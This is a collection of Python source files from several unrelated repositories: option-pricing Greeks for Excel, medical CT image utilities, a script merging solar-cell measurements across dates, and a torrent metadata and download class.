pf.timeseries.gen_drawdown_table(strat_ret, 5) monthly_ret_table = ep.aggregate_returns(strat_ret, 'monthly') monthly_ret_table = monthly_ret_table.unstack().round(3) ann_ret_df = pd.DataFrame(ep.aggregate_returns(strat_ret, 'yearly')) ann_ret_df = ann_ret_df.unstack().round(3) print('-------------- PERFORMANCE ----------------') print(perf_stats_all) print('-------------- DRAWDOWN ----------------') print(drawdown_table) print('-------------- MONTHLY RETURN ----------------') print(monthly_ret_table) print('-------------- ANNUAL RETURN ----------------') print(ann_ret_df) if run_in_jupyter: pf.create_full_tear_sheet( strat_ret, benchmark_rets=bm_ret, positions=df_positions, transactions=df_trades, round_trips=False) plt.show() else: f1 = plt.figure(1) pf.plot_rolling_returns(strat_ret, factor_returns=bm_ret) f1.show() f2 = plt.figure(2) pf.plot_rolling_volatility(strat_ret, factor_returns=bm_ret) f2.show() f3 = plt.figure(3) pf.plot_rolling_sharpe(strat_ret) f3.show() f4 = plt.figure(4) pf.plot_drawdown_periods(strat_ret) f4.show() f5 = plt.figure(5) pf.plot_monthly_returns_heatmap(strat_ret) f5.show() f6 = plt.figure(6) pf.plot_annual_returns(strat_ret) f6.show() f7 = plt.figure(7) pf.plot_monthly_returns_dist(strat_ret) plt.show() ``` #### File: QuantResearch/workbooks/option_pricer.py ```python import numpy as np from scipy.stats import norm import xlwings as xw # https://en.wikipedia.org/wiki/Greeks_(finance) @xw.func def bsm(S, K, T = 1.0, r = 0.0, q = 0.0, sigma = 0.16, CP='call'): d1 = (np.log(S / K) + (r - q + 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(S / K) + (r - q - 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = 0.0 if CP.lower() == 'call': result = (S * np.exp(-q * T) * norm.cdf(d1, 0.0, 1.0) - K * np.exp(-r * T) * norm.cdf(d2, 0.0, 1.0)) if CP.lower() == 'put': result = (K * np.exp(-r * T) * norm.cdf(-d2, 0.0, 1.0) - S * np.exp(-q * T) * norm.cdf(-d1, 0.0, 1.0)) return result @xw.func def bsm_delta(S, K, T = 1.0, r = 0.0, q = 0.0, sigma = 0.16, CP='call'): d1 = (np.log(S / K) + (r - q + 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = 0.0 if CP.lower() == 'call': result = np.exp(-q * T) * norm.cdf(d1, 0.0, 1.0) if CP.lower() == 'put': result = - np.exp(-q * T) * norm.cdf(-d1, 0.0, 1.0) return result @xw.func def bsm_vega(S, K, T = 1.0, r = 0.0, q = 0.0, sigma = 0.16): d1 = (np.log(S / K) + (r - q + 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(S / K) + (r - q - 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = S * np.exp(-q * T) * norm.pdf(d1, 0.0, 1.0) * np.sqrt(T) # result2 = K * np.exp(-r * T) * norm.pdf(d2, 0.0, 1.0) * np.sqrt(T) # assert result == result2, 'vega failed' return result @xw.func def bsm_theta(S, K, T = 1.0, r = 0.0, q = 0.0, sigma = 0.16, CP='call'): d1 = (np.log(S / K) + (r - q + 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(S / K) + (r - q - 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = 0.0 if CP.lower() == 'call': result = - np.exp(-q * T) * S * norm.pdf(d1, 0.0, 1.0) * sigma / 2 / np.sqrt(T) \ - r * K * np.exp(-r * T) * norm.cdf(d2, 0.0, 1.0) \ + q * S * np.exp(-q * T) * norm.cdf(d1, 0.0, 1.0) if CP.lower() == 'put': result = - np.exp(-q * T) * S * norm.pdf(-d1, 0.0, 1.0) * sigma / 2 / np.sqrt(T) \ + r * K * np.exp(-r * T) * norm.cdf(-d2, 0.0, 1.0) \ - q * S * np.exp(-q * T) * norm.cdf(-d1, 0.0, 1.0) return result @xw.func def bsm_rho(S, K, T = 1.0, r = 0.0, q = 0.0, sigma = 0.16, CP='call'): d1 = (np.log(S / K) + (r - q + 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(S / K) + (r - q - 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = 0.0 if CP.lower() == 'call': result = K * T * np.exp(-r*T) * norm.cdf(d2, 0.0, 1.0) if CP.lower() == 'put': result = -K * T * np.exp(-r*T) * norm.cdf(-d2, 0.0, 1.0) return result @xw.func def bsm_gamma(S, K, T = 1.0, r = 0.0, q = 0.0, sigma = 0.16): d1 = (np.log(S / K) + (r - q + 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = np.exp(-q*T) * norm.pdf(d1) / S / sigma / np.sqrt(T) # result = K * np.exp(-r*T) * np.pdf(d2) / S / S / sigma / np.sqrt(T) return result @xw.func def bsm_vanna(S, K, T = 1.0, r = 0.0, q = 0.0, sigma = 0.16): """d^2V/dS/dsigma""" d1 = (np.log(S / K) + (r - q + 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(S / K) + (r - q - 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = -np.exp(-q*T) * norm.pdf(d1) * d2 / sigma return result @xw.func def bsm_volga(S, K, T = 1.0, r = 0.0, q = 0.0, sigma = 0.16): """d^2V/dsigma^2""" d1 = (np.log(S / K) + (r - q + 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(S / K) + (r - q - 0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = S*np.exp(-q*T) * norm.pdf(d1) * np.sqrt(T) * d1 * d2 / sigma return result @xw.func def black76(F, K, T, r, sigma, CP='call'): d1 = (np.log(F / K) + (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(F / K) - (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = 0.0 if CP.lower() == 'call': result = np.exp(-r*T)*( F*norm.cdf(d1) - K*norm.cdf(d2) ) else: result = np.exp(-r*T)*( K*norm.cdf(-d2) - F*norm.cdf(-d1) ) return result @xw.func def black76_delta(F, K, T, r, sigma, CP='call'): d1 = (np.log(F / K) + (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(F / K) - (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = 0.0 if CP.lower() == 'call': result = np.exp(-r*T)*norm.cdf(d1) else: result = -np.exp(-r*T)*norm.cdf(-d1) return result @xw.func def black76_vega(F, K, T, r, sigma): d1 = (np.log(F / K) + (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(F / K) - (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = F * np.exp(-r * T) * norm.pdf(d1) * np.sqrt(T) # result = K * np.exp(-r*T) * norm.pdf(d2)*np.sqrt(T) return result @xw.func def black76_theta(F, K, T, r, sigma, CP='call'): d1 = (np.log(F / K) + (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(F / K) - (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = 0.0 if CP.lower() == 'call': result = -F*np.exp(-r*T)*norm.pdf(d1)*sigma/2/np.sqrt(T) \ - r*K*np.exp(-r*T)*norm.cdf(d2) \ + r*F*np.exp(-r*T)*norm.cdf(d1) else: result = -F * np.exp(-r * T) * norm.pdf(-d1) * sigma / 2 / np.sqrt(T) \ + r * K * np.exp(-r * T) * norm.cdf(-d2) \ - r * F * np.exp(-r * T) * norm.cdf(-d1) return result @xw.func def black76_rho(F, K, T, r, sigma, CP='call'): d1 = (np.log(F / K) + (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(F / K) - (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = 0.0 if CP.lower() == 'call': result = K*T*np.exp(-r*T)*norm.cdf(d2) else: result = -K*T*np.exp(-r*T)*norm.cdf(-d2) return result @xw.func def black76_gamma(F, K, T, r, sigma): d1 = (np.log(F / K) + (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(F / K) - (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = np.exp(-r*T)*norm.pdf(d1)/F/sigma/np.sqrt(T) # result = k*np.exp(-r*T)*norm.pdf(d2)/F/F/sigma/np.sqrt(T) return result @xw.func def black76_vanna(F, K, T, r, sigma): d1 = (np.log(F / K) + (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(F / K) - (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = -np.exp(-r*T)*norm.pdf(d1)*d2/sigma return result @xw.func def black76_volga(F, K, T, r, sigma): d1 = (np.log(F / K) + (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) d2 = (np.log(F / K) - (0.5 * sigma ** 2) * T) / (sigma * np.sqrt(T)) result = F*np.exp(-r*T)*norm.pdf(d1)*np.sqrt(T)*d1*d2/sigma return result ```
{ "source": "Jingnan-Jia/medutils", "score": 3 }
#### File: medutils/medutils/medutils.py ```python import csv import glob import os import threading import SimpleITK as sitk import numpy as np import pandas as pd import pingouin as pg from scipy import ndimage def appendrows_to(fpath: str, data: np.ndarray, head=None): if not os.path.isfile(fpath) and head is not None: with open(fpath, 'a') as csv_file: writer = csv.writer(csv_file, delimiter=',') writer.writerow(head) with open(fpath, 'a') as csv_file: writer = csv.writer(csv_file, delimiter=',') if len(data.shape) == 1: # when data.shape==(-1,) which means data batch size = 1 writer.writerow(data) # data = data.reshape(-1, 1) else: writer.writerows(data) def icc(label_fpath, pred_fpath): icc_dict = {} label = pd.read_csv(label_fpath) pred = pd.read_csv(pred_fpath) if 'ID' == label.columns[0]: del label["ID"] if "Level" == label.columns[0]: del label["Level"] if 'ID' == pred.columns[0]: del pred["ID"] if "Level" == pred.columns[0]: del pred["Level"] original_columns = label.columns # if len(label.columns) == 3: # columns = ['disext', 'gg', 'retp'] # elif len(label.columns) == 5: # columns = ['L1', 'L2', 'L3', 'L4', 'L5'] # else: # raise Exception('wrong task') # label.columns = columns # pred.columns = columns ori_columns = list(label.columns) label['ID'] = np.arange(1, len(label) + 1) label['rater'] = 'label' pred['ID'] = np.arange(1, len(pred) + 1) pred['rater'] = 'pred' data = pd.concat([label, pred], axis=0) for column in original_columns: icc = pg.intraclass_corr(data=data, targets='ID', raters='rater', ratings=column).round(2) icc = icc.set_index("Type") icc = icc.loc['ICC2']['ICC'] prefix = label_fpath.split("/")[-1].split("_")[0] icc_dict['icc_' + prefix + '_' + column] = icc column = "combined" label_all = pd.DataFrame(dtype='float') pred_all = pd.DataFrame(dtype='float') pred_all['combined'] = pd.concat([pred[i] for i in ori_columns], axis=0).astype(float) label_all['combined'] = pd.concat([label[i] for i in ori_columns], axis=0).astype(float) label_all['ID'] = np.arange(1, len(label_all) + 1) label_all['rater'] = 'label' pred_all['ID'] = np.arange(1, len(pred_all) + 1) pred_all['rater'] = 'pred' data_all = pd.concat([label_all, pred_all], axis=0) icc = pg.intraclass_corr(data=data_all, targets='ID', raters='rater', ratings=column).round(2) icc = icc.set_index("Type") icc = icc.loc['ICC2']['ICC'] prefix = label_fpath.split("/")[-1].split("_")[0] icc_dict['icc_all' + prefix + '_' + column] = icc return icc_dict def count_parameters(model): total_params = 0 for name, parameter in model.named_parameters(): if not parameter.requires_grad: continue param = parameter.numel() total_params += param print(f"Total Trainable Params: {total_params}") return total_params def flip_axis(x, axis): x = np.asarray(x).swapaxes(axis, 0) x = x[::-1, ...] x = x.swapaxes(0, axis) return x def get_all_ct_names(path, number=None, prefix=None, suffix=None, extension=None): if extension is None: extension_list = [".nrrd", ".mhd", ".mha", ".nii", ".nii.gz"] # todo: more suffix else: if type(extension) is list and type(extension[0]) is str: extension_list = extension elif type(extension) is str: extension_list = [extension] else: raise Exception('the extension type is wrong. Please use a string or a list of string.') if prefix and suffix: files = glob.glob(path + '/' + prefix + "*" + suffix + extension_list[0]) for suffix in extension_list[1:]: files.extend(glob.glob(path + '/' + prefix + "*" + suffix + suffix)) elif prefix: files = glob.glob(path + '/' + prefix + "*" + extension_list[0]) for suffix in extension_list[1:]: files.extend(glob.glob(path + '/' + prefix + "*" + suffix)) elif suffix: files = glob.glob(path + '/' + "*" + suffix + extension_list[0]) for ext in extension_list[1:]: files.extend(glob.glob(path + '/' + "*" + suffix + ext)) else: files = glob.glob(path + '/*' + extension_list[0]) for suffix in extension_list[1:]: files.extend(glob.glob(path + '/*' + suffix)) scan_files = sorted(files) if len(scan_files) == 0: raise Exception(f'Scan files are None, please check the data directory: {path}') if isinstance(number, int) and number != 0: scan_files = scan_files[:number] elif isinstance(number, list): # number = [3,7] scan_files = scan_files[number[0]:number[1]] return scan_files def get_ct_pair_filenames(gdth_path, pred_path): gdth_files = get_all_ct_names(gdth_path) pred_files = get_all_ct_names(pred_path) if len(gdth_files) == 0: raise Exception('ground truth files are None, Please check the directories: ', gdth_path) if len(pred_files) == 0: raise Exception('predicted files are None, Please check the directories: ', pred_path) # if any(['fissure' in file for file in pred_files]): # check no fissure files are included # fissure_gdth, fissure_pred = get_fissure_filenames(gdth_path, pred_path) # gdth_files = set(gdth_files) - set(fissure_gdth) # pred_files = set(pred_files) - set(fissure_pred) gdth_files, pred_files = get_intersection_files(gdth_files, pred_files) return gdth_files, pred_files def recall(seg, gt): im1 = np.asarray(seg > 0).astype(np.bool) im2 = np.asarray(gt > 0).astype(np.bool) if im1.shape != im2.shape: raise ValueError(f"Shape mismatch: im1 and im2 must have the same shape, but the im1.shape is {im1.shape} and " f"im2.shape is {im2.shape}") intersection = np.logical_and(im1, im2).astype(float) if im2.sum() > 0: return intersection.sum() / (im2.sum()) else: return 1.0 def get_fissure_filenames(gdth_path, pred_path, fissureradius=0): if fissureradius: # if given fissure radius, then get all ct names with specific fissure radius gdth_files = get_all_ct_names(gdth_path, prefix="fissure_" + str(fissureradius)) pred_files = get_all_ct_names(pred_path, prefix="fissure_" + str(fissureradius)) else: # else, get all ct names no matter the radius is gdth_files = get_all_ct_names(gdth_path, prefix="fissure") pred_files = get_all_ct_names(pred_path, prefix="fissure") gdth_files, pred_files = get_intersection_files(gdth_files, pred_files) return gdth_files, pred_files def get_intersection_files(gdth_files, pred_files): gdth_files = list(gdth_files) pred_files = list(pred_files) file_list_gdth = [] gdth_idx_list = [] for i, gdth_file in enumerate(gdth_files): base = os.path.basename(gdth_file) file, ext = os.path.splitext(base) file_list_gdth.append(file) gdth_idx_list.append(i) file_list_pred = [] pred_idx_list = [] for j, pred_file in enumerate(pred_files): base = os.path.basename(pred_file) file, ext = os.path.splitext(base) file_list_pred.append(file) pred_idx_list.append(j) intersection = set(file_list_gdth) & set(file_list_pred) new_gdth_files = [] new_pred_files = [] for inter in intersection: i = file_list_gdth.index(inter) j = file_list_pred.index(inter) new_gdth_files.append(gdth_files[i]) new_pred_files.append(pred_files[j]) return sorted(new_gdth_files), sorted(new_pred_files) def get_gdth_pred_names(gdth_path, pred_path): # if fissure: # gdth_files, pred_files = get_fissure_filenames(gdth_path, pred_path, fissureradius=fissureradius) # else: gdth_files, pred_files = get_ct_pair_filenames(gdth_path, pred_path) return gdth_files, pred_files def load_itk(filename, require_ori_sp=False): """ :param filename: absolute file path :return: ct, origin, spacing, all of them has coordinate (z,y,x) if filename exists. Otherwise, 3 empty list. """ # print('start load data') # Reads the image using SimpleITK if os.path.isfile(filename): itkimage = sitk.ReadImage(filename) else: raise FileNotFoundError(filename+ " was not found") # Convert the image to a numpy array first ands then shuffle the dimensions to get axis in the order z,y,x ct_scan = sitk.GetArrayFromImage(itkimage) # ct_scan[ct_scan>4] = 0 #filter trachea (label 5) # Read the origin of the ct_scan, will be used to convert the coordinates from world to voxel and vice versa. origin = np.array(list(reversed(itkimage.GetOrigin()))) # note: after reverseing, origin=(z,y,x) # Read the spacing along each dimension spacing = np.array(list(reversed(itkimage.GetSpacing()))) # note: after reverseing, spacing =(z,y,x) orientation = itkimage.GetDirection() if orientation[-1] == -1: ct_scan = ct_scan[::-1] if require_ori_sp: return ct_scan, origin, spacing else: return ct_scan def save_itk(filename, scan, origin, spacing, dtype='int16'): """ Save a array to itk file. :param filename: saved file name, a string. :param scan: scan array, shape(z, y, x) :param origin: origin of itk file, shape (z, y, x) :param spacing: spacing of itk file, shape (z, y, x) :param dtype: 'int16' default :return: None """ dir = os.path.dirname(filename) if not os.path.exists(dir): # create dir if not exist os.makedirs(dir) stk = sitk.GetImageFromArray(scan.astype(dtype)) # origin and spacing 's coordinate are (z,y,x). but for image class, # the order shuld be (x,y,z), that's why we reverse the order here. stk.SetOrigin(origin[::-1]) # numpy array is reversed after convertion from image, but origin and spacing keep unchanged stk.SetSpacing(spacing[::-1]) sitk.WriteImage(stk, filename, useCompression=True) # writer = sitk.ImageFileWriter() # writer.SetFileName(filename) # writer.Execute(stk) def normalize(image, min_=-1000.0, max_=400.0): """ Set the values to [0~1]. :param image: image array :param min_: bottom :param max_: top :return: convert ct scan to 0~1 """ image = (image - min_) / (max_ - min_) image[image > 1] = 1. image[image < 0] = 0. return image def one_hot_decoding(img, labels, thresh=None): """ get the one hot decode of img. :param img: :param labels: :param thresh: :return: """ new_img = np.zeros((img.shape[0], img.shape[1])) r_img = img.reshape(img.shape[0], img.shape[1], -1) aux = np.argmax(r_img, axis=-1) for i, l in enumerate(labels[1::]): if thresh is None: new_img[aux == (i + 1)] = l else: new_img[r_img[:, :, i + 1] > thresh] = l return new_img def downsample(scan, is_mask=False, ori_space=None, trgt_space=None, ori_sz=None, trgt_sz=None, order=1, labels=None): """ :param labels: used for advanced downsample when order = 1 for is_mask :param is_mask: mask have smooth upsampling :param scan: shape(z,y,x,chn) :param ori_space: shape(z,y,x) :param trgt_space: shape(z,y,x) :param ori_sz: shape(z,y,x,chn) :param trgt_sz: shape(z,y,x) :param order: :return: """ if trgt_sz is None: trgt_sz = [] if ori_sz is None: ori_sz = [] if labels is None: labels = [1] trgt_sz = list(trgt_sz) ori_sz = list(ori_sz) if len(scan.shape) == 3: # (657, 512, 512) scan = scan[..., np.newaxis] # (657, 512, 512, 1) if len(ori_sz) == 3: ori_sz.append(1) # (657, 512, 512, 1) if len(trgt_sz) == 3: trgt_sz.append(1) # (657, 512, 512, 1) print('scan.shape, ori_space, trgt_space, ori_sz, trgt_sz', scan.shape, ori_space, trgt_space, ori_sz, trgt_sz) if any(trgt_space): print('rescaled to new spacing ') zoom_seq = np.array(ori_space, dtype='float') / np.array(trgt_space, dtype='float') zoom_seq = np.append(zoom_seq, 1) elif any(trgt_sz): print('rescaled to target size') zoom_seq = np.array(trgt_sz, dtype='float') / np.array(ori_sz, dtype='float') else: raise Exception('please assign how to rescale') print('zoom_seq', zoom_seq) if is_mask is True and order == 1 and len(labels) > 2: # multi labels and not nearest neighbor, seperate each label and do interpolation x_onehot = one_hot_encode_3d(scan, labels) # (657, 512, 512, 6/2) mask1 = [] for i in range(x_onehot.shape[-1]): one_chn = x_onehot[..., i] # (657, 512, 512) one_chn = one_chn[..., np.newaxis] # (657, 512, 512, 1) x1 = ndimage.interpolation.zoom(one_chn, zoom_seq, order=order, prefilter=order) mask1.append(x1[..., 0]) mask1 = np.array(mask1) # (6/2, 567, 512, 512) mask1 = np.rollaxis(mask1, 0, start=4) # (567, 512, 512, 6/2) mask3 = [] for p in mask1: # p.shape (512, 512, 6/2) mask3.append(one_hot_decoding(p, labels)) # p.shape (512, 512) x = np.array(mask3, dtype='uint8') # (567, 512, 512) x = x[..., np.newaxis] # (567, 512, 512, 1) else: # [0, 1] vesel mask or original ct scans, or onhoted mask x = ndimage.interpolation.zoom(scan, zoom_seq, order=order, prefilter=order) # (143, 271, 271, 1) # x = x[..., 0] print('size after rescale:', x.shape) # 64, 144, 144, 1 if any(zoom_seq > 1): # correct shape is not neessary during down sampling in training, # because in training we only have the requirement on spacing x = correct_shape(x, trgt_sz) # correct the shape mistakes made by sampling return x def one_hot_encode_3d(patch, labels): """ :param patch: 3 or 4 or 5 dimensions :param labels: a list :return: 3 or 4 dimension input are conveted to 4 dimensions, 5 dimensions are converted to 5 dimensions. """ # todo: simplify this function # assert len(patch.shape)==5 # (5, 128, 128, 64, 1) labels = np.array(labels) # i.e. [0,4,5,6,7,8] if len(patch.shape) == 5 and patch.shape[-1] == 1: # (5, 128, 128, 64, 1) patch = np.reshape(patch, (patch.shape[0], patch.shape[1], patch.shape[2], patch.shape[3])) elif len(patch.shape) == 4 and patch.shape[-1] == 1: # (128, 128, 64, 1) patch = np.reshape(patch, (patch.shape[0], patch.shape[1], patch.shape[2])) patches = [] # print('patch.shape', patch.shape) for i, l in enumerate(labels): a = np.where(patch != l, 0, 1) patches.append(a) patches = np.array(patches) patches = np.rollaxis(patches, 0, len(patches.shape)) # from [6, 64, 128, 128] to [64, 128, 128, 6] return np.float64(patches) def save_model_best(dice_file, segment, model_fpath): with open(dice_file, 'r', newline='') as f: reader = csv.DictReader(f, delimiter=',') dice_list = [] for row in reader: print(row) dice = float(row['ave_total']) # str is the default type from csv dice_list.append(dice) max_dice = max(dice_list) if dice >= max_dice: segment.save(model_fpath) print("this 'ave_total' is the best: ", str(dice), "save valid model at: ", model_fpath) else: print("this 'ave_total' is not the best: ", str(dice), 'we do not save the model') return max_dice def correct_shape(final_pred, original_shape): """ :param final_pred: must be 3 dimensions :param original_shape: :return: """ print('after rescale, the shape is: ', final_pred.shape) if final_pred.shape[0] != original_shape[0]: nb_slice_lost = abs(original_shape[0] - final_pred.shape[0]) if original_shape[0] > final_pred.shape[0]: print( 'there are {} slices lost along z axis, they will be repeated by the last slice'.format(nb_slice_lost)) for i in range(nb_slice_lost): added_slice = np.expand_dims(final_pred[-1], axis=0) final_pred = np.concatenate((final_pred, added_slice)) print('after repeating, the shape became: ', final_pred.shape) else: print('there are {} slices more along z axis, they will be cut'.format(nb_slice_lost)) final_pred = final_pred[:original_shape[0]] # original shape: (649, 512, 512) print('after cutting, the shape became: ', final_pred.shape) if final_pred.shape[1] != original_shape[1]: nb_slice_lost = abs(original_shape[1] - final_pred.shape[1]) if original_shape[1] > final_pred.shape[1]: print('there are {} slices lost along x,y axis, they will be repeated by the last slice'.format( nb_slice_lost)) for i in range(nb_slice_lost): added_slice = final_pred[:, -1, :] added_slice = np.expand_dims(added_slice, axis=1) print('x axis final_pred.shape', final_pred.shape) print('x axis add_slice.shape', added_slice.shape) final_pred = np.concatenate((final_pred, added_slice), axis=1) print('after first repeating, the shape is: ', final_pred.shape) added_slice = np.expand_dims(final_pred[:, :, -1], axis=2) print('y axis final_pred.shape', final_pred.shape) print('y axis add_slice.shape', added_slice.shape) final_pred = np.concatenate((final_pred, added_slice), axis=2) print('after repeating, the shape became: ', final_pred.shape) else: print('there are {} slices more along x,y axis, they will be cut'.format(nb_slice_lost)) final_pred = final_pred[:, :original_shape[1], :original_shape[1]] # original shape: (649, 512, 512) print('after cutting, the shape became: ', final_pred.shape) return final_pred def execute_the_function_multi_thread(consumer, workers=10): """ :param consumer: function to be multi-thread executed :param workers: :return: """ thd_list = [] mylock = threading.Lock() for i in range(workers): thd = threading.Thread(target=consumer, args=(mylock,)) thd.start() thd_list.append(thd) for thd in thd_list: thd.join() ```
{ "source": "Jingnan-Jia/socsa", "score": 2 }
#### File: socsa/scripts/merge_data_from_all_dates.py ```python import csv import glob import os import shutil from distutils.dir_util import copy_tree from collections import OrderedDict import pandas as pd # import streamlit as st from tqdm import tqdm import numpy as np import datetime from typing import List, Sequence, Dict import sys sys.path.append("..") def ordered_dates(data_dir: str) -> List[str]: ex_dirs = [f.name for f in os.scandir(data_dir) if f.is_dir()] ex_abs_dirs = [f.path for f in os.scandir(data_dir) if f.is_dir()] f = "%Y-%m-%d" dates = [datetime.datetime.strptime(date, f).date() for date in ex_dirs] dates, ex_abs_dirs = zip(*sorted(zip(dates, ex_abs_dirs))) # dates = sorted(dates) # dates = [str(date) for date in dates] # ex_dirs = [os.path.join(data_dir, date) for date in dates] return ex_abs_dirs def get_date_data_dt(date_dirs: Sequence[str]) -> Dict[str, List[str]]: date_data_dt = OrderedDict() for date_dir in date_dirs: # ex_dates = [f.name for f in os.scandir(date_dir) if f.name.split('_')[-1]=='data.txt'] # find data file ex_dates = [f.path for f in os.scandir(date_dir) if f.name.split('_')[-1]=='data.txt'] # find data file ex_dates = [f for f in ex_dates if 'dark' not in f] # exclude dark files ex_dates = [[os.path.basename(f).split("_")[0], os.path.basename(f).split("_data")[0].split("_")[-1], f] for f in ex_dates] date_data_dt[os.path.basename(date_dir)] = ex_dates return date_data_dt def get_pre_post_ls(date_data_dt): pre_set, post_set = set(), set() for key, date_data in date_data_dt.items(): for pre, post, file in date_data: pre_set.add(pre) post_set.add(post) pre_ls = list(pre_set) pre_ls_nb = [int(pre) for pre in pre_ls] pre_ls_nb, pre_ls = zip(*sorted(zip(pre_ls_nb, pre_ls))) # sort the list post_ls = list(post_set) post_ls_nb = [int(post) for post in post_ls] post_ls_nb, post_ls = zip(*sorted(zip(post_ls_nb, post_ls))) # sort the list return pre_ls, post_ls def get_file(pre, post, data_ls): for ls in data_ls: if ls[0]==pre and ls[1] == post: return ls[-1] raise FileNotFoundError(f"找不到该文件: 前缀是{pre}, 后缀是{post}") if __name__ == "__main__": """ This file is used to merge data information from all dates. we first proposed this idea and implemented it on 2021-06-30. """ abs_dir_path = os.path.dirname(os.path.realpath(__file__)) # abosolute path of the current .py file data_dir: str = os.path.join(abs_dir_path, "data", "Shelf lifetime") post_dir = os.path.join(data_dir, "postprocessing") if os.path.isdir(post_dir): shutil.rmtree(post_dir) date_dirs: List[str] = ordered_dates(data_dir) date_data_dt: Dict[str, List[str]] = get_date_data_dt(date_dirs) pre_ls, post_ls = get_pre_post_ls(date_data_dt) os.mkdir(post_dir) for pre in pre_ls: out_file = os.path.join(post_dir, pre+'.xlsx') for post in post_ls: sheet = pd.DataFrame() for i, (date, data_ls) in enumerate(date_data_dt.items()): sheet.at[i, 'date'] = date try: file = get_file(pre, post, data_ls) df = pd.read_csv(file, names=['key', 'value'], index_col=0, delimiter="\t") # 打开该文件 sheet.at[i, "Jsc (mAcm-2)"] = df.at["Jsc (mAcm-2):", 'value'] # first element in this series (only 1) sheet.at[i, "Voc (V)"] = df.at["Voc (V):", 'value'] sheet.at[i, "Fill Factor"] = df.at["Fill Factor:", 'value'] sheet.at[i, "Power Conversion Efficiency (%)"] = df.at["Power Conversion Efficiency (%):", 'value'] except FileNotFoundError: print(f"找不到该文件:日期是{date}, 前缀是{pre}, 后缀是{post}") continue sheet.set_index('date', inplace=True) if not os.path.isfile(out_file): with pd.ExcelWriter(out_file) as writer: # create a file or overwrite the original files sheet.to_excel(writer, sheet_name='Pixel_' + str(post)) else: with pd.ExcelWriter(out_file, engine="openpyxl", mode='a') as writer: sheet.to_excel(writer, sheet_name='Pixel_' + str(post)) print("finish !") ```
{ "source": "jingnanshi/kickass-get", "score": 3 }
#### File: kickass-get/kickass/torrent.py ```python import string import re import gzip import urllib2 import os import data from io import BytesIO class Torrent: def __init__(self,**kwargs): self.title = None self.magnet = None self.torrent_cache = None self.size = None self.seeders = None self.leechers = None self.update_time = None self.upload_time = None try: self.title = kwargs['title'] self.magnet = kwargs['magnet'] self.torrent_cache = kwargs['torrent_cache'] self.size = kwargs['size'] self.seeders = kwargs['seeders'] self.leechers = kwargs['leechers'] self.update_time = kwargs['update_time'] self.upload_time = kwargs['upload_time'] except KeyError: pass def setMagnet(self,magnet): self.magnet = magnet def getMagnet(self): return self.magnet def setTorrentCache(self,torrent_cache): self.torrent_cache = torrent_cache def setSize(self,size): self.size = size def setSeeders(self,seeders): self.seeders = seeders def setLeechers(self,leechers): self.leechers = leechers def setUploadTime(self,upload_time): self.upload_time = upload_time def setUpdateTime(self,update_time): self.update_time = update_time def getCleanedTitle(self): # match anything that's not alphanumeric or underscore cleaned_title = re.sub(r'[^\w]', ' ', self.title) return cleaned_title def __str__(self): remove_comma_title = self.title.replace(',','_') # change commas to underscore for csv result = '{}, {}, {}, {}, Seeders: {}, Leechers: {}, Updated at: {}, Uploaded at: {}'.format(remove_comma_title, self.magnet, self.torrent_cache, self.size, self.seeders, self.leechers, self.update_time, self.upload_time) return filter(lambda x: x in string.printable, result) # return result def __repr__(self): return self.title def get_torcache_torrent(self): """ return a torrent string from torrent link """ url = self.torrent_cache[:self.torrent_cache.index('?')] # http://stackoverflow.com/questions/16895787/torrent-files-downloaded-using-python-urllib2-fail-to-open-in-bittorrent-client req = urllib2.Request(url, headers=data.default_headers) req.add_header('Accept-encoding', 'gzip') torrent = urllib2.urlopen(req, timeout=data.default_timeout) if torrent.info().get('Content-Encoding') == 'gzip': torrent = gzip.GzipFile(fileobj=BytesIO(torrent.read())) return torrent.read() def save_to_file(self, save_path): torrent_string = self.get_torcache_torrent() filepath = os.path.join(save_path,'{}.torrent'.format(self.getCleanedTitle())) file1 = open(filepath, "w") file1.write(torrent_string) file1.close() def list_repr(self): """ return a list representation of the torrent itself: [title, size, seeders, leechers, update_time, upload_time] """ tor_list = [self.getCleanedTitle(), self.size, self.seeders, self.leechers, self.upload_time] return tor_list ```
{ "source": "jingnanshi/torque_limited_simple_pendulum", "score": 3 }
